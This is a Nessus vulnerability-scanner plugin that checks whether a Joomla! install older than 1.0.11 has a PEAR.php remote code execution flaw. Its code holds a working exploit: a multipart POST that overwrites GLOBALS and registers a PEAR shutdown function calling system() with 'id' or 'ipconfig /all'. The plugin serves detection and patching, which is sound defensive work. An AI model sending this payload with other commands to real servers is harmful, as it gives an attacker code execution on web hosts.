Joomla! < 1.0.11 Unspecified Remote Code Execution

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(22298);
  script_version("1.33");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-3390", "CVE-2006-4469");
  script_bugtraq_id(15250, 19749);

  script_name(english:"Joomla! < 1.0.11 Unspecified Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Joomla! installed on the remote host is affected by a
remote code execution vulnerability in the includes/PEAR/PEAR.php
script. An unauthenticated, remote attacker can exploit this to
execute arbitrary code, subject to the privileges of the web server
user ID.

Note that successful exploitation of this vulnerability requires that
the PHP 'register_globals' setting be enabled and that the remote
version of PHP be older than 4.4.1 or 5.0.6.");
  # http://www.hardened-php.net/globals_overwite_and_its_consequences.76.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?304cf490");
  # http://web.archive.org/web/20080701014536/http://www.joomla.org/content/view/1843/74/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9c6f8af3");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Joomla! version 1.0.11 or later. Alternatively, upgrade to
PHP version 4.4.1 / 5.0.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2006-4469");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/10/31");
  script_set_attribute(attribute:"patch_publication_date", value:"2006/08/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/09/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("joomla_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/Joomla!", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(qs:dir, port:port);

# Make sure the affected script exists.
url = dir + "/includes/PEAR/PEAR.php";
r = http_send_recv3(
  method : "GET",
  item   : url,
  port   : port,
  exit_on_fail : TRUE
);

# If it does...
# nb: the script generally doesn't respond when called directly.
if (!egrep(string:r[0], pattern:"^HTTP/.* 200 OK"))
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';
  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Windows IP Configuration|(Subnet Mask|IP(v(4|6))? Address)[\. ]*:";

foreach cmd (cmds)
{
  vuln = FALSE;
  # Try to exploit the flaw to execute a command.
  bound = "bound";

  boundary = "--" + bound;
  postdata =
    boundary + '\r\n' +
    'Content-Disposition: form-data; name="GLOBALS"; filename="nessus";' +
    '\r\n' +
    'Content-Type: image/jpeg;\r\n' +
    '\r\n' + SCRIPT_NAME + '\r\n' +
    boundary + '\r\n' +
    'Content-Disposition: form-data; name="_PEAR_shutdown_funcs[a][0]"' +
    '\r\n' +
    'Content-Type: text/plain\r\n' +
    '\r\n' +
    'system\r\n' +
    boundary + '\r\n' +
    'Content-Disposition: form-data; name="_PEAR_shutdown_funcs[a][1]"' +
    '\r\n' +
    'Content-Type: text/plain\r\n' +
    '\r\n' + cmd + '\r\n' +
    boundary +
    '--\r\n';

  r = http_send_recv3(
    method  : "POST",
    item    : url,
    data    : postdata,
    port    : port,
    content_type : "multipart/form-data; boundary="+bound,
    exit_on_fail : TRUE
  );

  line = egrep(pattern:cmd_pats[cmd], string:r[2]);
  if (!empty_or_null(line))
  {
    vuln = TRUE;
    output = chomp(r[2]);
    break;
  }
}
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);

security_report_v4(
  port        : port,
  severity    : SECURITY_WARNING,
  cmd         : cmd,
  request     : make_list(http_last_sent_request()),
  output      : output
);
exit(0);